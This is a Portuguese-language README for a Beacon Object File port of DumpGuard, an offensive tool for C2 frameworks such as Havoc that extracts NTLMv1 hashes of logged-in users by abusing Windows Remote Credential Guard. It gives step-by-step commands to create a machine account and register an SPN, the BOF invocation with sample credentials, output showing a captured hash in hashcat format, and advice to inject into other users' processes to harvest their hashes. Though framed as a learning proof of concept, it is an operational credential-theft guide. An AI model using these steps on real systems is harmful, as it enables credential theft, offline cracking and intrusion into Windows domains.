
Porta do Beacon Object File (BOF) do DumpGuard para extrair hashes NTLMv1 de sessões em sistemas Windows modernos.
Port do Beacon Object File (BOF) do DumpGuard para extrair hashes NTLMv1 de sessões em sistemas Windows modernos.

Este repositório contém uma implementação Beacon Object File (BOF) do DumpGuard, portada da implementação original em C#/.NET para C puro para uso com Havoc e outros frameworks C2 que suportam execução de BOF.
Isto é uma Prova de Conceito (PoC) e um exercício de aprendizado.
Este port BOF foi criado como parte da minha jornada pessoal para entender os detalhes do protocolo Remote Credential Guard, fluxos de autenticação Kerberos e os mecanismos de segurança subjacentes do Windows. O processo de portar esta ferramenta de C# para C puro para execução BOF foi principalmente um esforço educacional.
Por favor, esteja ciente de que:
Se você encontrar problemas ou tiver melhorias, contribuições são bem-vindas. Para uma implementação robusta e bem testada, consulte a ferramenta DumpGuard original.
Este BOF é baseado na pesquisa e ferramentas de @bytewreck na SpecterOps:
O DumpGuard explora o Windows Remote Credential Guard (RCG) para extrair hashes NTLMv1 de usuários logados sem tocar na memória do LSASS e sem exigir privilégios de administrador. Funciona mesmo quando o Credential Guard está ativado.
TSRemoteGuardCreds.| Rodada | Cliente -> Servidor | Servidor -> Cliente |
|---|---|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (do KDC real) |
| 2 | AP-REQ (ticket de serviço) | AP-REP + MIC |
| 3 | PubKeyAuth (hash de vinculação) | Hash de vinculação do servidor |
| 4 | AuthInfo (TSRemoteGuardCreds) | N/A |
Após a Rodada 4, temos o blob de credenciais criptografado. A mágica acontece quando chamamos LsaCallAuthenticationPackage com o pacote TSSSP. O LSA roteia nossa solicitação através de RDPEAR -> TSRemoteGuard -> MSV1_0, que descriptografa os segredos e calcula a resposta NTLMv1 para nós.
O Credential Guard isola os segredos NTLM e Kerberos em um espaço VBS seguro (LsaIso.exe), prevenindo ataques de acesso direto à memória como o Mimikatz. No entanto, o Credential Guard ainda precisa usar esses segredos para autenticação legítima. Essa é a interface que esta técnica explora.
Para o mergulho técnico completo, veja: Catching Credential Guard Off Guard
Este port BOF implementa apenas o modo "Self" da ferramenta DumpGuard original. Os modos "All" não estão implementados nesta versão.
Despeja o hash NTLMv1 do usuário do processo atual através do protocolo Remote Credential Guard.
Embora este BOF implemente apenas o modo "self", você ainda pode extrair hashes NTLMv1 de outros usuários, por exemplo, injetando em um processo executando como aquele usuário. Por exemplo, se você tiver privilégios de administrador, pode injetar o BOF em um processo pertencente a outro usuário logado para obter seu hash.
Esta técnica requer credenciais para uma conta que tenha um Service Principal Name (SPN) registrado. Uma maneira de conseguir isso é criando uma conta de máquina e adicionando um SPN a ela.
Usando Impacket:
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
Exemplo de saída:
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
Usando krbrelayx addspn.py:
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
Usando pywerview:
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
Procure por serviceprincipalname: host/yourspn.domain.local na saída.
inline-execute /path/to/dumpguard.x64.o x <domínio> <nome_do_usuário> <senha> <spn>
Nota: O parâmetro
xé um argumento fictício/place holder necessário antes do domínio. Isso pode ser resolvido em versões futuras (se houver).
Exemplo:
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
Exemplo de saída:
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
Importante: O hash NTLMv1 extraído pertence ao usuário executando o processo BOF, não à conta de máquina usada para autenticação (
EVIL_COMPUTER$). As credenciais da conta de máquina são usadas apenas para autenticar no KDC e estabelecer a sessão Remote Credential Guard.
A saída está no formato NTLMv1 compatível com hashcat:
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE
make clean && make
Saída: build/dumpguard.x64.o